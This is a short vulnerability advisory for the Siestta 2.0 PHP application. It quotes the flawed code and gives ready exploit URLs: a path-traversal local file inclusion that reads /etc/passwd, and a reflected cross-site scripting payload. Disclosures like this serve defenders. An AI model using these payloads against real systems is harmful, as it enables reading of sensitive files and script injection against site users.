Siestta 2.0 Cross Site Scripting / Local File Inclusion

`  
####################################################################  
# SIESTTA 2.0 (LFI/XSS) Multiple Vulnerabilities  
# download: http://ramoncastro.es/siestta_old/  
#  
# Author: Jose Luis Gongora Fernandez 'aka' JosS  
# mail: sys-project[at]hotmail[dot]com  
# site: http://www.hack0wn.com/  
# team: Spanish Hackers Team - [SHT]  
#  
# Hack0wn Security Project!!  
#  
# This was written for educational purpose. Use it at your own risk.  
# Author will be not responsible for any damage.  
#  
####################################################################  
#  
# "need" register_globals = On  
#  
####################################################################  
  
  
- [#LFI] <login.php>  
  
<?php  
  
require('idioma/'.$idioma.'');  
...  
?>  
  
!EXPLOIT: /login.php?idioma=/../../../../../../../../../../../etc/passwd%00  
  
- [#XSS] <carga_foto_al.php>  
  
<?  
...  
$usuario = $_GET['usuario'];  
$imagen = 'admin/fotos_al/'.$usuario.'.jpg';  
echo '<p style="text-align:center;">  
<img class="foto" src="'.$imagen.'" alt="'.$usuario.'" /></p>  
...  
?>  
  
!EXPLOIT: /carga_foto_al.php?usuario=<script>alert("JosS - Hack0wn");</script>  
  
__h0__   
  
_________________________________________________________________  
Aprende los trucos de Windows 7 con la gente que ya lo han probado Windows 7.  
http://www.sietesunpueblodeexpertos.com/index_windows7.html  
`